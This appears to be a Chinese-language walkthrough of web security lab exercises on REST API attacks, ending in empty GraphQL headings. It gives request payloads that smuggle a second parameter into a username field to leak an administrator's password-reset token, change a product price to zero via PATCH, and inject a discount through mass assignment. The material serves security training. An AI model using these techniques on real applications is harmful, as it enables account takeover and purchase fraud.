API 攻防:Restful + GraphQL API

outman
2
2025-08-10

Restful

API接口JS中URL泄露

发现:PATCH /api/user/wiener HTTP/2

请求:DELETE /api/user/carlos HTTP/2

API接口泄露参数污染

发现泄露 GET /static/js/forgotPassword.js HTTP/2

响应:window.location.href = /forgot-password?reset_token=${resetToken};

说明:需要得到 reset_token

POST /forgot-password HTTP/2

请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%26x=y

响应:"error": "Parameter is not supported."

说明:可以在后面继续添加参数


POST /forgot-password HTTP/2

请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%23

响应:"error": "Field not specified."

说明:可以添加 Field 参数

请求:csrf=msVcdqgdkFgsnoHX70VQvXb3UK6jXc4W&username=administrator%26field=reset_token

请求:GET /forgot-password?reset_token=peirq47jiam09trizccx61cqlbymxrd2

API接口泄露参数污染:

API接口利用提交方法

PATCH 是 HTTP 协议中的一种请求方法,用于对资源进行部分修改。与 PUT 方法(通常用于替换整个资源)不同,PATCH 只更新资源的部分内容

发现 GET /api/products/1/price HTTP/2

修改请求方法,响应包中提示只支持 GET 和 PATCH

改为PATCH方法,响应包提示需要 Content-Type: application/json

发送数据包,响应包提示缺少 price 参数

请求内容中添加 "price": 0,价格修改成功

API接口利用泄露参数

发现 GET /api/checkout HTTP/2

响应包内容:

{

"chosen_discount":{"percentage":0},

"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]

}

修改 POST 方法,添加 Content-Type: application/json

响应:"error":"Key order: Key chosen_products: undefined is not an array"

将之前获得的响应放到请求内容中,修改折扣参数,成功

GraphQL API

访问私人GraphQL数据

二 访问暴漏GraphQL字段

和RESTful差异

RESTful:请求什么就换一个端点和参数

GraphQL:固定的端点里面的东西改变